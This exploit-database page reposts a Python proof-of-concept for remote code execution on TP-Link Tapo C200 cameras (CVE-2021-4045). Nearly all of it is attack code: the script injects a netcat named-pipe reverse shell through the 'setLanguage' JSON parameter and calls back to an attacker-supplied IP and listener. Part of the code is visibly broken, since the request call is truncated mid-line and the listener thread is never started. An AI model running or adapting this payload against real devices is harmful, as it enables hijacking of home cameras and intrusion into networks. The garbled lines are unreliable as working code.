TP-Link Tapo c200 1.1.15 Remote Code Execution (RCE)

CVE Category Price Severity
CVE-2021-4045 CWE-20 Not specified High
Author Risk Exploitation Type Date
Not specified High Remote 2023-02-22

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

TP-Link Tapo c200 1.1.15 Remote Code Execution (RCE)
# Exploit Title: TP-Link Tapo c200 1.1.15 - Remote Code Execution (RCE)
# Date: 02/11/2022
# Exploit Author: hacefresko
# Vendor Homepage:
# Version: 1.1.15 and below
# Tested on: 1.1.11, 1.1.14 and 1.1.15
# CVE : CVE-2021-4045

# Write up of the vulnerability:

import requests, urllib3, sys, threading, os

PORT = 1337
REVERSE_SHELL = 'rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc %s %d >/tmp/f'
NC_COMMAND = 'nc -lv %d' % PORT # nc command to receive reverse shell (change it depending on your nc version)

if len(sys.argv) < 3:
    print("Usage: python3 <victim_ip> <attacker_ip>")

victim = sys.argv[1]
attacker = sys.argv[2]

print("[+] Listening on %d" % PORT)
t = threading.Thread(target=os.system, args=(NC_COMMAND,))

print("[+] Serving payload to %s\n" % victim)
url = "https://" + victim + ":443/"
json = {"method": "setLanguage", "params": {"payload": "';" + REVERSE_SHELL % (attacker, PORT) + ";'"}}, json=json, verify=False)

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.